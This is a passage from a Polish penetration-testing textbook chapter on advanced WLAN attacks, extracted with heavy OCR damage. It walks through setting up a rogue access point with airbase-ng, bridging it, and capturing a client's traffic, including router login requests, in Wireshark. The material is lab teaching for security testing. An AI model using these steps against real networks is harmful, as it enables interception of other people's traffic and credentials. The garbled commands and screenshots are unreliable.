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Zaawansowane ataki
na sieci WLAN

»Zatem zostato powiedziane, ze kto zna wroga i zna siebie, nie bedzie zagrozony chocby i w stu

starciach”.
Sun Tzu, Sztuka wojny

Bardzo istotnym elementem podczas przeprowadzania testow penetracyjnych jest dogtebna znajomos¢
zaawansowanych technik atakow wykorzystywanych przez hakeréw, nawet jezeli nie masz zamiaru po-
stuzy¢ sie takimi atakami w czasie testéw. Ten rozdziat jest poswiecony wtasnie temu, jak potencjalny
napastnik moze przeprowadzi¢ zaawansowane ataki na sieci bezprzewodowe.

Z tego rozdziatu dowiesz sie, w jaki sposob przeprowadzaé zaawansowane ataki na sieci WLAN
przy uzyciu narzedzi i technik omawianych w poprzednich rozdziatach. Najbardziej skupimy
sie tutaj na atakach typu MITM (ang. Man-in-the-Middle; cztowiek w $rodku), ktérych prze-
prowadzenie wymaga posiadania sporej wiedzy i doSwiadczenia praktycznego. Po przeéwi-
czeniu takiego ataku uzyjemy go jako bazy do przeprowadzania jeszcze bardziej wyrafinowa-
nych i ztozonych atakéw, takich jak nieautoryzowane podstuchiwanie ruchu sieciowego (ang.
Eavesdropping) czy przechwytywanie sesji (ang. Session Hijacking).

W kolejnych éwiczeniach bedziemy sie zajmowaé nastepujgcymi rodzajami atakéw:
B Ataki typu MITM.
B Ataki typu podstuchiwanie ruchu sieciowego, bazujace na ataku MITM.
B Ataki typu przechwytywanie sesji, bazujace na ataku MITM.
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BackTrack 5. Testy penetracyjne sieci WiFi

Ataki typu Man-in-the-Middle

Ataki typu MITM sa prawdopodobnie najbardziej skutecznymi atakami na sieci bezprzewo-
dowe. Istnieje wiele odmian i konfiguracji takich atakéw. My skoncentrujemy sie na najcze-
$ciej spotykanym typie, kiedy napastnik jest podtaczony do sieci Internet za pomocg kablowe;j
sieci LAN i tworzy falszywy punkt dostepowy przy uzyciu bezprzewodowej karty sieciowej
zamontowanej w komputerze. Taki punkt dostepowy rozglasza sie¢ bezprzewodows, ktorej
identyfikator SSID jest taki sam, jak identyfikator atakowanej sieci znajdujacej sie w poblizu.
Autoryzowany uzytkownik atakowanej sieci moze przypadkowo podlaczy¢ sie do takiego fal-
szywego punktu dostepowego (lub takie polaczenie moze zosta¢ ,wymuszone™ dzieki zasto-
sowaniu teorii silniejszego sygnatu, o ktérej méwilismy w poprzednich rozdziatach) i kon-
tynuowa¢ dzialanie, gdyz bedzie przekonany, ze jest podlaczony do prawdziwego punktu
dostepowego swojej sieci.

Od tej chwili napastnik moze w zupelnie przezroczysty dla klienta sposéb przekazywac¢ caly
jego ruch do sieci Internet, wykorzystujac do tego most sieciowy utworzony pomiedzy inter-
fejsem sieci kablowej oraz interfejsem sieci bezprzewodowej. Oczywiscie ,,po drodze” caty
ruch klienta jest przechwytywany i uwaznie obserwowany.

W kolejnym do$wiadczeniu spréobujemy zasymulowadé taki atak.

Czas na dziatanie
— atak typu Man-in-the-Middle

Aby to zrobié¢, powinienes uwaznie wykonaé polecenia opisane ponizej:

1. Aby przygotowac¢ srodowisko do przeprowadzenia ataku typu Man-in-the-Middle,
musisz na komputerze, ktérego uzywasz do przeprowadzania atakéw, utworzyé
programowy punkt dostepowy sieci 0 nazwie mitm. W tym celu powiniene$ otworzy¢
okno terminala i wykona¢ polecenie airbase-ng --essid mitm —c 11 mon0:

root@bt: ~ - Shell -

n Edit View Bookmarks Settings Help

:~# airbase-ng --essid mitm -c 11 mon0
07:52:16 Created tap interface at®
07:52:16 Trying to set MTU on atd to 15600
07:52:16 Access Point with BSSID 00:C0:CA:3E:BD:93 started.

140
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Rozdziat 7. ¢ Zaawansowane ataki na sieci WLAN

2. Nalezy zauwazy¢, ze polecenie airbase-ng po uruchomieniu tworzy interfejs at0
(interfejs TAP), ktéry powiniene$ traktowaé jako ,.kablowa” strone interfejsu
programowego punktu dostepowego mitm.

View Bookmarks Settings Help

root@bt: ~ - Shell No. 2 - Kons!

:~# ifconfig ate
Link encap:Ethernet Hwaddr 00:c0:ca:3e:bd:93
BROADCAST MULTICAST MTU:1508 Metric:l
RX packets:0 errors:0® dropped:® overruns:0 frame:0
TX packets:0 errors:@ dropped:® overruns:® carrier:0
collisions:0 txqueuelen:500
RX bytes:0 (0.0 B) TX bytes:0 (0.6 B)

~#

=4 |

3. Teraz na komputerze, ktérego uzywasz do przeprowadzenia ataku, musisz
utworzy¢ most sieciowy, sktadajacy sie z interfejsu kablowego (eth0) oraz interfejsu
bezprzewodowego (at0). Aby to zrobi¢, powinienes kolejno wykona¢ nastepujace

polecenia:

brct1l addbr mitm-bridge
brctl addif mitm-bridge eth0
brctl addif mitm-bridge at0
ifconfig eth0 0.0.0.0 up
ifconfig at0 0.0.0.0 up

n Edit View Bookmarks Settings Help

root@bt: ~ - Shell No. 2 -

ato

:~# ifconfig ate
Link encap:Ethernet Hwaddr 00:c0:ca:3e:bd:93
BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:® overruns:0 frame:0
TX packets:0 errors:0 dropped:® overruns:0 carrier:@
collisions:0 txqueuelen:500
RX bytes:@ (0.0 B) TX bytes:0 (0.0 B)

;:: bretl addbr mitm-bridge

;:: bretl addif mitm-bridge ethe
::: bretl addif mitm-bridge ato
e

:~# ifconfig ethe 0.0.0.0 up

;:3 ifconfig at® 0.0.8.0 up

= |

4. Do mostu sieciowego mozna przypisa¢ adres IP i sprawdzié, czy polaczenie
z domy$lng bramg sieciowg dziata prawidtowo. Warto zauwazyé, ze dokladnie
to samo mozna zrobié przy uzyciu DHCP. Aby przypisaé adres IP do mostu
sieciowego, w oknie terminala wpisz nastepujgce polecenie: ifconfig mitm-bridge
192.168.0.199 up, a nastepnie sprawdz polaczenie z brama domyslng (i co za tym
idzie — z reszty sieci), wpisujgc polecenie ping 192.168.0.1:

Kup ksigzke
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BackTrack 5. Testy penetracyjne sieci WiFi

| Session Edit View Bookmarks

root@bt: ~ - Shell No. 2 - Konso

Settings Help

:~# ifconfig mitm-bridge 192.168.0.199 up

| ~#

PING 192.168.0.1 (192.
192.168.0.
192.168.0.
192.168.0.
192.168.0.
192.168.0.

64 bytes from
64 bytes from
64 bytes from
64 bytes from
64 bytes from
~C

: icmp_seq=1 ttl=64 time=0
: icmp_seq=2 ttl=64 time=1
: icmp_seq=3 ttl=64 time=0
: icmp_seq=4 ttl=64 time=0
: icmp_seq=5 ttl=64 time=0

--- 192.168.0.1 ping statistics ---

5 packets transmitted, 5 received, 0% packet loss, time 4001ms

rtt min/avg/max/mdev = 6.539/0.860/1.119/0.224 ms

~#
=2 |

.557 ms
.11 ms
.915 ms
.873 ms
.539 ms

5. Kolejnym krokiem jest wlaczenie w jadrze systemu opcji przekazywania pakietéw TP
(ang. IP Forwarding), dzieki ktérej mozliwe bedzie routowanie i przekazywanie
pakietéw IP miedzy sieciami. Aby to zrobié, wykonaj polecenie echo > 1 /proc/
sys/net/ipv4/ip_forward, tak jak to zostalo przedstawione na rysunku ponizej:

1@

Session  Edit

View Bookmarks Settings Help

root@hb

:~# echo 1 > /proc/sys/net/ipv4/ip_forward

~#
-y |

6. Teraz mozesz podlaczy¢ klienta bezprzewodowego do punktu dostepowego
o nazwie mitm. Po uzyskaniu polaczenia klient za posrednictwem DHCP

automatycznie otrzyma adres IP (serwer dziala po kablowej stronie bramy

sieciowej). W naszym przypadku klient otrzymal adres 192.168.0.197. Aby

sprawdzié funkcjonowanie polaczenia z brama sieciows, mozesz teraz uzy¢
polecenia ping 192.168.0.1, tak jak pokazano na kolejnym rysunku:

C:~Users wivek~AppDatasLocalsmsf32>ipconfiyg

Mindows IP Configuration

llireless LAM adapter Wireless Metwork Connection:

Connection—specific DNS
Link-local IPv6 Address

IPv4 Address.
Subnet Mask .

Default Gateway .

Suffix

PR fe8B:=:693d:f
o o 192.168.0.19
o o 255.255.255.8
o o 192.168.8.1

$d9:1424:6319211

7. Jak widaé na rysunku ponizej, host 192.168.0.1 odpowiada na ping, zatem
polaczenie z brama sieciowa dziata poprawnie:

IC:sUzersswivek~AppDatasLocalsmef32>ping 192.168.8.1

Pinging 192_168_.8.1 with 32 bhytes of data:

.B.1: bytes=32 time=1ims TTL=64
Reply from 192_168_8_1: bytes=32 time=6bms TTL=64
Reply from 192_168_8_1: bytes=32 time=18ms TTL=6b4
Reply from 122.168.8.1: bytes=32 time=5ms TTL=64

Reply From 192_168

Ping statistics for 192.168.8.1:

Packets:

Sent = 4. Received = 4, Lost = 8 (8

fipproximate round trip times in milli-seconds:
Maximum = 18ms. Average = 18ms

Minimum
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Rozdziat 7. ¢ Zaawansowane ataki na sieci WLAN

8. Po sprawdzeniu polaczenia z bramg sieciowg nalezy sprawdzié, czy klient jest
podlaczony do punktu dostepowego. Aby to zrobié, powiniene$ zajrze¢ do okna
terminala, w ktérym dziala polecenie airbase-ng:

root@bt: ~ - Shell - Konsole

Session Edit View Bookmarks Settings Help

:~# airbase-ng --essid mitm -c 11 mon@
07:52:16 Created tap interface at®
07:52:16 Trying to set MTU on at@ to 1500
07:52:16 Access Point with BSSID 00:C0:CA:3E:BD:93 started.

08:03:14 Client 00:22:FB:35:FC:44 associated (unencrypted) to ESSID: "mitm"

9. Warto zwrécié uwage na fakt, ze poniewaz caly ruch sieciowy jest przekazywany
z interfejsu bezprzewodowego do sieci kablowej, masz pelng kontrole nad
tym ruchem. Mozna sie o tym przekonaé, uruchamiajac program Wireshark
i rozpoczynajac nastuch pakietéw na interfejsie at0:

E B ato0 - Wireshark
Fle Edit View Go Capture Analyze Statistics Ta\aphtmx Tools Help

BEeee coaxe= “00fs00 HE 280 @03\ O

F\Itar:l Expression... Clear Apply
MNa. |T\me ‘ Source | Destination ‘ Protoco ‘ Info
117 41.173542 192.168.0.197 224.0.0.252 LLMNR  Standard query ANY wpad
118 41.277900 feB80::693d:fads:1424:ffo2::1:3 LLMNR  Standard query ANY wpad
119 41.284136 192.168.0.197 224.0.0.252 LLMNR  Standard query ANY wpad
120 41.575233 192.168.0.197 192.168.0.1 DNS Standard query A widgets.alexa.com
121 42.167219  192.168.0.197 192.168.0.1 DNS Standard query ANY wpad
122 43.166721 192.168.0.197 192.168.0.1 DNS Standard query ANY wpad
123 46.166812 fe80::693d:fads:1424:(ffo2::1:3 LLMNR  Standard query ANY wpad
124 45.167704 192.168.0.197 224.0.0.252 LLMNR  Standard query ANY wpad
125 46.272428 feB80::693d:fad9:1424:¢ff02::1:3 LLMNR  Standard query ANY wpad
126 46.272760 192.168.0.197 224.0.0.252 LLMNR  Standard query ANY wpad
127 47.166884  192.168.0.197 192.168.0.1 DNS Standard query ANY wpad
128 49.169142 IntelCor_35:fc:44 Broadcast ARP Who has 192.168.0.17 Tell 182.168.0.157
129 49.170017 D-Link_d2:8e:25 IntelCor_35:fc:44 ARP 192.168.0.1 1s at 00:21:91:d2:8e:25
130 51.178160 feB0::693d:fad9:1424:(ff02::1:3 LLMNR  Standard gquery ANY wpad

131 51.178823 192.168.0.197 224.0.0.252 LLMNR  Standard query ANY wpad

b Frame 1: 60 bytes on wire (480 bits), 60 bytes captured (480 bits)
b Ethernet IT, Src: Apple_44:99:4d (10:9a:dd:44:99:4d), Dst: Broadcast (ff:ff:ff:ff:ff:ff)
b Address Resolution Protocol (request)

10. Teraz z poziomu klienta wykonaj polecenie ping 192.168.0.1 i zwr6¢ uwage, ze
w oknie programu Wireshark sa widoczne wszystkie pakiety przesylane miedzy
klientem a bramg sieciows (wlacz filtr pozwalajacy na wyswietlanie tylko pakietéw
ICMP), pomimo iz pakiety te nie sg przeznaczone dla Ciebie. To jest wlasnie
prawdziwa sita ataku typu Man-in-the-Middle!
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BackTrack 5. Testy penetracyjne sieci WiFi

fle Edit View Go Capture Analyze Statistics Telephony Tooh Help

BEsed caxxe= “0o0souEE +=rnE @M% O

Filtar: |iemp | = | Expression... Clear Apply

Mo. Tima Source Dastination Protocs | info =]
10.,000000 IntelCor_3S:fc:ad Broadcast AP who has 152.168.0.17 Tell 192.158.0.157
2 0.000773 IntelCor_3S:fc:d4 ARP 192.168.0.1 15 at 00:21:91:d2:Be:25

5 6. 600031 16 Echo {ping) request (id=0x001, seqlbe/le)-83/21248, ttle=12s)

Echo (pingl o/ Le) sea/ 21248,

5 1.0016865 .168.0, 1cwe  Echo (ping) requast | ba/ 1) s@ay , tel=128)
6 1.002774 192, 168,01 192,188, 0, 197 o Echa (ping] reply fid=0x0o0l, seqibo/le)=84/21504, trl=nd)
732.014780  192,188.0.157 192.168.0.1 1M Echa (ping) request (id=0x0001, seqibe/le)=8S/21780, ttl=128)
B2.005576  192.188.0.1 152,188.0,157 19 Echo (ping) reply  (id=0x0001, seqlbe/le)=85/21780, ttl=84)
9 3.003574  192,168.0.197 192.168.0.1 1t Echo (ping) request (id=0x0001, seqibe/le)=85/22015. trl=128) e
103.004503  192.168.0.1 152.168.0.197 1cMe  Echo (ping) reply  (1d=0w0001, seqlbe/le)=5/22016, trl=sd) ]

[ Frame 4: 74 bytes on wirs (502 bate), 74 bytes captured (562 bits)

b Etharnet II, Sre: D-Laink_d2:8e:25 (00:21:01:d2:82:25), Dst: IntelCor_3S:fe:dd (00:22:fb:3S:fe:44)
¥ Internet Protecol, Src: 182.168.0.1 (182.168.0.1), Dst: 192.168.0.187 (182.168.0.187)
+ Internet Control Message Protocol

Type: 0 {Echo {ping) reply)

Code: D

Checksum: (iS508 [correct]

Identifier: Ono001

Sequence number: B3 (Cx0053)
Sequence numsber (LE): 21248 (0x5300)
+ Data (32 bytes]
Data: GlG26I5365666700606a6bEC6d6etT 7071 72737475767 761 . . .
[Length: 32]

0010
o020
0030

[ Fram (Irama, 78 byte 1[0 B D Dropped: [ Profie: Defadlt

A E10

Co sie stato?

W tym ¢wiczeniu zakoniczyle§ przygotowanie konfiguracji $rodowiska do przeprowadzenia
ataku typu Man-in-the-Middle. Dokonales$ tego poprzez utworzenie fatszywego punktu doste-
powego i polaczenie go z interfejsem Ethernet za pomoca mostu sieciowego. Taka konfiguracja
powoduje, ze dowolny klient bezprzewodowy podlaczony do fatszywego punktu dostepowego
bedzie przekonany, iz jest potaczony z siecig Internet za pomocg kablowego polaczenia LAN.

Zr6b to sam — atak typu Man-in-the-Middle w sSrodowisku wytacznie bezprzewodowym

W poprzednim éwiczeniu za pomocg mostu sieciowego polaczytes interfejs bezprzewodowy
z interfejsem kablowym. Jak juz wspominali$my wczesniej, jest to tylko jedna z kilku mozli-
wych struktur potaczen przy atakach typu Man-in-the-Middle. Bardzo interesujaca konfigura-
cja sklada sie z dwoéch interfejséw bezprzewodowych, z ktérych jeden jest wykorzystany do
utworzenia fatszywego punktu dostepowego, a drugi jest podtaczony do autoryzowanego
punktu dostepowego atakowane;j sieci. Oczywiscie oba interfejsy sg ze soba potaczone za po-
mocg mostu sieciowego. W takiej sytuacji, kiedy klient bezprzewodowy laczy sie z falszywym
punktem dostepowym, za pomoca mostu sieciowego utworzonego na komputerze napastnika
zostaje polaczony z autoryzowanym punktem dostepowym atakowanej sieci.

Nalezy tutaj zauwazy¢, ze taka konfiguracja wymaga zastosowania na komputerze napastnika
dwoch fizycznych, bezprzewodowych kart sieciowych.

W ramach éwiczen powiniene$ sprébowaé przeprowadzié¢ taki atak przy uzyciu dwoch kart
sieciowych, z ktérych jedna jest wbudowana w Twoim laptopie, a druga jest kartg zewnetrzna,
podlaczong na przyktad przez port USB. Potraktuj to jako wyzwanie!
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Rozdziat 7. ¢ Zaawansowane ataki na sieci WLAN

Podstuchiwanie ruchu sieciowego
na bazie atakdw Man-in-the-Middle

W poprzednim éwiczeniu zobaczyles, jak przygotowaé¢ konfiguracje sieci do przeprowadzenia
ataku typu Man-in-the-Middle, a teraz pokazemy, jak dzieki takiej konfiguracji przeprowadzié¢ atak
polegajacy na podstuchiwaniu bezprzewodowego ruchu sieciowego (ang. Wireless Eavesdropping).

Idea tego éwiczenia opiera sie na zalozeniu, ze caly ruch sieciowy z komputera ofiary jest te-
raz routowany przez komputer napastnika, dzieki czemu napastnik ma mozliwosé przechwy-
tywania i podstuchiwania wszystkich pakietéw wysytanych z i do komputera ofiary.

Czas na dziatanie — podstuchiwanie ruchu
w sieci bezprzewodowej

Aby to zrobié¢, uwaznie wykonaj polecenia opisane ponizej:

1. Odtworz calg konfiguracje wykorzystywana w poprzednim ¢wiczeniu. Uruchom
program Wireshark — obserwowanie ruchu sieciowego jeszcze przed uruchomieniem
mostu mitm-bridge moze by¢ caltkiem interesujacym éwiczeniem. Wireshark postuzy
nam p6zniej do obserwowania calego ruchu przechodzacego przez most sieciowy:

start || gptions

& wlang | Qption

mand 1531 4 |goat | Qptions
o 1 1 Start | Qptions
mitrm bricge 192188059 15 Srart || Ot
W Peauda-davice that captures on all imerface 1576 67 | gtat | Qp
i wbmaonl  LSE b numbs || Dptl
K 127.0.0 grart || Gt = Website
VILIL Ehe el Wkt

.y User's Guide

= The User's Guide (snine verseani

@ Sample Captures @ Security

A rich asseetment of esample casture Nles o She Werk witt Wirmahurk sy sacursly au porsible

&l Capture Options
Start

art & apture with detafied optiess

@ :lu\.u.r ‘t:_)hCaPture . ,
o by et 0 @ suscesetul capture sebigs

@ Tlatw ork Mad}_a

Specific imformasan far caghuring e Exhernet. WL

B Aendy ta load or capture Na Packets Praftie; Default
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BackTrack 5. Testy penetracyjne sieci WiFi

2. Rozpocznij nastuchiwanie ruchu na interfejsie at0, dzieki czemu bedziesz mogh
monitorowaé wszystkie pakiety wysylane i odbierane przez klienta bezprzewodowego:

L Capturing from atd - Wireshark
MeTul Edit \iew Go  Capture  Analyze Statistics Telephony Tools elp

BEEY cdxo= %00 %0ou [BE
rier: | | = | Expression... Clear Apply
Destination | Proteco | info

Broadcast
IntelCor_35:fc:dd PP 162,188.0.1 15 at 00:2

30.004810  192,188.0.187 152.188.0,1 169 Echo (ping) request (id=0x0001, seqibe/le)=115/28440, ttl=128)
152, 168.0,1 152,188.0,157 Echo (ping) reply  (id=0s0001, seq(be/le)=115/29440;, ttl=64)

50.204958  fed0::129a:ddf1:fesa:iffo2: :fb MONS  Standard query response PTA, cache flush vived-mamachandrans.macBook-pro.local Aan, cac
71.001344  102.168.0.157 152.188.0.1 I Echo (ping) request (1d=0x0001, seqbeslel=116/29606. ttl=128)
8 1.002166 152.168.0.1 152.168.0.197 1cw  Echo (ping) reply {2d=0x0001, seqibe/le)=116/20606, ttl=54]
02002856  192.168.0.197 152.168.0.1 ICM®  Echa (ping) request (1d=0x0001, seqlbe/le)=117/20952, ttl=128)
10 2.003421  162.168.0.1 162.168.0.107 1M Echo (ping) reply  (1d=0n0001, seqibe/le)=117/20053, ttl=g4)
11 3001148  192.166.0.187 192.168.0.1 1w Echa (ping) request (id=0x0001, seqibe/le)=118/30206, ttl=128)
12 3.002103  192.168.0.1 192, 168. 0. 197 1o Echo (ping) reply  (id=cxoo0l, seq(besle)=118/30208, til=64]
la 8.471211  fesn::13@a:ddff:feadziffoa::th mons standard quary TR _afpovertcp. tep.local, *OM° question BTR _snb. tep.local, *OQM quest]

® Frame 1: 0 bytes on wire (480 bits), 80 bytes captured (480 bits)
® Ethernet 1T, Sre: IntelCor_3S:fc:ad (00:22:fh:3S:fc:4a), Dst: Broadeast (Ff:ff:ff:ffafisff)
¥ Address Pesolution Protocol (request)

oooo  ff ff 1f ff £f ff 00 22 10 35 fc 44 OB 06 00 QL
0010 06 00 06 04 00 01 00 22 fb 35 fc 44 <O a8 00 c5
0020 00 00 00 00 00 00 c0 a8 ©O0 01 00 00 00 00 00 0O
0020 00 00 0O 00 00 00 DD 00 00 00 00 00

{2 atd: <kve captura in progress> file... | | Packets: 14 Displayed: 14 Marked: 0 | Profile: Detauh

3. Przejdz na klienta, uruchom przegladarke sieciowa i wejdz na dowolng strone
internetowg. W naszym przypadku punkt dostepowy jest podtaczony do sieci LAN,
zatem nalezy otworzy¢ jego terminal konfiguracyjny, wpisujac w pasku adresu
przegladarki adres hitp://192.168.0.1:

Product Page: DIR-615 Hardware Version: B2 Frmware Version: 2.23

Log in to the router:

User Name: | Admin | &

e —CT

WIRELESS

4. Aby zalogowa¢ sie do punktu dostepowego, podaj nazwe uzytkownika i hasto
dostepu:
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Rozdziat 7. ¢ Zaawansowane ataki na sieci WLAN

Hardware Version: B2

Product Page: DIR-615

ows JYL
INTERNET
WIRELESS SETTINGS

NETWORK SETTINGS

There are two ways ko set up your Internet connection: you can use the Web-based Interret
Connection Setup Wizard, or you can manually configure the connection.

INTERNET CONNECTION SETUP WIZARD

If you would like to utilize our easy to use Web-based Wizards to assist you in connecting your new
D-Link Systems Router to the Internet, click on the button below.

Internet Connection Setup Wizard

Note: Befor2 launching these wizards, please make sure you have followed all steps outlined in the
Quick Installation Guide incuded in the package.

MANUAL INTERNET CONNECTION OPTIONS

If you would like to configure the Internet settings of your new D-Link Systems Router manually,
then click on the button below.

{ Manual Intemet Connection Setup |
bl el il

WIRELESS

Copyright @ 2004-2007 D-Link Systems, Inc.

Firmware Version: 2.23

Helpful Hints...

If you are new to
networking and have
never configured a router
before, dick on Internet
Connection Setup
Wizard and the router
will guide you through a
few simple steps to get
your natwork up and
running.

If you consider yourself an
advanced user and have
configured a router before,
dick Manual Internet
Connection Setup to
input all the settings
manually.

5. W oknie programu Wireshark powiniene$ juz zaobserwowaé duza liczbe pakietéw

przesylanych w sieci bezprzewodowej:

Ble Edt Mew Go Capture Anslre Stati Telaghory Tools Help
Badee +axe=s 00500 BE *+#=/F @SN O
Fter =] maprossion.. clonr oy
Mo, | Tma Sourta Dastinatse Prescs | ks
129 a5.p5eE3  192.166.0. 167 162,168.0.1 TP #5850 = hittp [AOK] Seqed0n Acks]1565% Win=17520 Lensd
130 46, 657431 162, 168.0.1 192, 168.0.197 HITF  HTTR/1.1 200 06 (tewt/css)
131 46, 657607 160, 1eM.0. 107 183, 168.0.1 #0472 » http [A0x] Seqedod Ack=1SGTL MinalTEI0 Lerw
133 46687080 103, 168.0.1 162, 1m0, 197 METE  WTTRSLLL 300 o (application/s- javessriptl
133 88, 741983 192.165.0.197 182,188.0.1 TP 49450 = http [A0n] Seqes09 Acks=1ESES Min=17520 Lensd
134 46, 742823 192.168.0.197 162, 168.0.1 g #3471 » hitp [A0d] Sen=304 Ack=15671 Wins17520 Lensd
1 a8, T4Read 162, lem.0. 1 162, 1680197 ™ 769 sageant of & resssestled Poul
190 40, P08 100, 188,01 103, 168.0. 157 - [TCP wngrant of & reassestled PoU]
137 48, Tolew 160, 188.0. 197 160, 188.0.1 T 23472 a hitp [#00] Seq=08 Ack=1ER] Win=17830 Len=h
138 46797863 152,168.0.197 192, 188,01 TOP #9471 » hitp [AX] Seq=384 Ack=17411 Wins18060 LensD

139 45,7995 192, 108.0.1 192,158, 9. 197

[TG® segmant of & reassesbled Foul

143 46.677085 162, 168.0. 197
182, 168.0.107
it

0. 197

162, 168.0.1
182.188.0.1
192, Lea,

™
o
o

29400 = hitp [A0x] Seq=808 Ack=16267 Wins17068 Lensd
23473 = http [AD] Seq=301 4ck=0010 Win=17830 Ler=d
&pa7d = hitp [ACK] SeqedGd Ack=lHGO4 WinelT4AT Lensd

147 47, 275742
148 47, FEITH

162, 168.0.1
152, 1880, 197
193, 188,01
187, 168.0.1

i
MR
e
wrte

25471 = http [A06] Seq=384 Ack=23171 Win=17520 Lensd
HITRs1.1 200 o0 [application/s. javascript]
AT simagen/img i rulans_battongil HITB/L,L
T (imageniing by manthesd red.gif HITEA1L

163, 1ea.0. 107
102, 168,0. 167

* Frame 1: 60 bytes on wire (480 bits], 80 by
® Etharnet 1T, Srcr IntelCor_3s:fc:ad (00:
# Addraws Pesalution Pratocal [request)

captired (480 bits)
t84), Dsti Brosdcast (Ffoffffiffiffoft)

fooo #f #f ff fF #f ff 022 fb3s fc a1 08 6 0001
o100 00 08 04 00 01 00 23 fb 38 fe 42 c0 a8 00 c8
OG0 00 00 00 00 00 00 €0 48 0D OF 00 00 00 0O 00 00
0030 00 00 00 00 00 00 00 00 00 0O 00 03

[l Amperesharoooote i 1. || Packets: 290 Daplyod: 290 Marked: 0 Dropped: 0

Kup ksigzke

[Profin: Dafau £
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BackTrack 5. Testy penetracyjne sieci Wi

6. Ustaw filtr tak, aby Wireshark wyswietlal wylacznie pakiety HTTP:

Ble (4t Mew o Captum Anaboe Gatites elephory ool el

DeBeM raxe= “00foe AP @R s N O

riter: [htp |7 Esprussion.. Clear Apply
Mo, Time Source | Protoco | info L]
£4 45.126455 192, 186.0,157 192.168.0,1 WITR GET el w WTTR/L.]
£ 48, 147053 163, 1800, 167, 160,0. 197 HTTR  Continuitisn ar non-MTTR traffic
&9 45,188008 192, 1m8.0.1 152,188, 0. 197 HITR  Continustion sr non:HITe traffic
107 45479617 192, 168.0,1 162, 166,0. 197 HITP HITR/1.1 200 06 [applicaticn/s: javascrapt)
130 48657431 163.180.0,1 162, 186.0. 167 WITR  MITR/L] 200 O [teaticush
132 45657060 162.188.0.1 162.168.0.167 HITR  HITA/L] 200 o [application/s: javascript)

192,188, 0. 157 HITR  HITR/L,] 200 o I-”hnuwu-;nn:npﬂ
162.189.0.1 ar Mﬁlﬂ_ﬂlﬁ‘mﬂtﬂ.ﬂf

182, 168.0.1 uz.m.:.m HITRFL.1 200 OF [mm-l
192, 1.0, 167 192.168,0.1 HITE T JEeigee/ieg sasthesd_sed.gid WITR/1LE

182, 100,01 292,100, 0. 197 HITE  HTTR L] 200 o [GIPEa)

192, 168,01 192, 168.0.197 HITR  HTTR/1.1 200 o (GTFesal

183, 168.0. 167 192.168,0.1 MITR  GET Jport_Legin,onlThashabas Tuilf Sca7acamrsaanndoce vacebanadbai 18 WTTR/L, 8
192, 188,01 152,188, 0. 107 HTTRAGAHTTR/L.1 200 O

193, 180,167 193.168.0.1 MITR  GET J@avie/Tntarnat_shesl HTTR/LL

192, 160.0, 167 192.168,0.1 HITR  GET fravigatien,js WETE/L. L

182,168.0.1 192, 186, 0. 167 HITR  HTTR/1.1 200 o [applicatien/s: javascript)

192, 188, 0. 157 192,168,0.1 HITP GET fImeges/short_medoum DIR-G15,gif HITR/LCL

183, 168.0,1 192.188,0,197 WTTE  WTTEL] 300 o (GRS

183.188.0.1 182.188,0.107 TR WTTR/1.1 200 0 [textihesl)

® Frame 150: 307 bytes onwire (4056 bats), 507 bytes captured (4055 bits) =
» Eﬂiﬂﬂ-l 11, Sre: Intelcor_3S:fcidd (00:22:fb:¥8afcraal, Dat: O-Link d2:ie:3s (00:31:01:d3:0e:25)

nternet Protecol, Sro: 192.168.0.167 (162, 168.0.167), Dst: 182.168.0.1 (162.188.0.1)

ransmiswion Control Pritocel, Src Port 4565 |49a55), Dst Pert (60l seq:

Hoat: 16@.188.0.1\rvn

User-Agant: Mozillars.0 (windows; U Windows WT 8.0; en-US; rvil,©.3.15) Gecko /30010300 Firefar/3.6.15 | MIT LR 2.5.30738) \rin
Accapti image/png, Lmage/*;q=0.8, %/ *1q=0.5\r\n

Accept-Language: an-us, qe0. S rin
Accepr-fnceding: geip, dufLatsirin
Accept-Charaet: 150-0886- 1, utd - Biged. 7,
1154yrin

en-alivilrin

D00 00319l dz e 22 fb W fc sk o0 00 @00
0010 O1 #d B 05 40 00 WC 08 30 of <0 &8 00 ¢5 cO &0
020 00 03 cl 3 0030 Ge 49 OF o 05 3 be 42 50 18 LN -
0030 42 54 5d 7d 00 OO 47 &5 ﬁn?‘ﬂﬂﬁdﬁl&"!& E]“.EEY.’II.NC
[Packets: 300 Displayad. 73 Marked. G Dropped: 0 [Trote: Defaik '

e N

Telfal

7. Jak widaé, z tatwosciag mozesz zlokalizowa¢ zadania HTPP POST, ktére zostaly uzyte
do przestania hasta do terminala konfiguracyjnego punktu dostepowego:

!Mfﬂ"'!l‘.ﬂ Wiew Go Capture  Analyze  Statistics Telaphony TJeols Hely

SEsae saxe= “o0sou A +=0F @@ O

Fitter: | http | = | Expression... Clear Apply

e, Source | Destnation | Protoco | info =
192.168.0.197 192.168.0.1 HTTP (=28 fﬂ!.jl HITP/1.1
02.168.0.1 102.160.0.167 HITP  Continuatien or non-WTTP traffic
192.168.0. 1 163.160.0.197 WITR  Centinuation ar non-WTTP traffic
182.168.0.1 192.168.0.157 HITR  WTTR/1,1 300 0K (applacation/x-javascrips)
192.168.0.1 182.168.0.167 HITB  WTTB/1.1 300 K {text/css)
182.168.0.1 192.168.0.157 HITR WTTR/1.1 300 ok lapplicatian/x-)avascript)
162.168.0.1 192.168.0.167 HITE  WTTB/1.1 300 oK (application/x-javascript)
182.166.0. 167 182.168.0.1 HITP.  GET /Images/img_wireless battomgit HTTP/1.1
192.168,0.197 192, 186,0.1 HITR  GET /Images/img_bg_nasthead_red.gif HITR/1.1
192.168.0:1 192.168.0.157 HITP  HITR/1.1 200 K (GIFS9al
192.168,0.157 192, 168,0.1 HITP  GET /Images/img_masthead_red.gif HITP/1.L
192.168.0.1 192,168,017 HITP  HITP/1.1 200 K (GIF89al

m 188,0.207

268241745 HITP/L, L

211 53149621  192.168.0.1 192.168.0.197 HITR/ R HTTR/ 1,1 200 OK
21453.223481  192.168.0.197 192.188.0.1 HITP  oET /Basic/internet.shtml HITP/1.1

P Frame 208: 502 bytes on wire (4016 bita), S02 byfes captured (4018 bital
» Ethernet I, Src: IntelCor_¥S:fciad (00:22:fb:35:fciad), Dst: D-Link_d2:8e:2S (00:21:91:d2:88:125)

b Intarnet Protocol, Sre: 192,168.0,197 (162.168.0.167), Dst: 192.168.0.1 (192.168.0.1)

» Transmission Control Protocol. Src Port: 49472 (49472, Dst Port: http {80), Seq: 396, ack: 18904, Len: 438

Iellals

745 HTTR/L, 1 rin]

b [Expert Info (chat/Sequencel: GET fpost_L
lhquunt »v\hoi' GET

Request wmm HITR/1.1
Most: 192.168.0.1\r\n

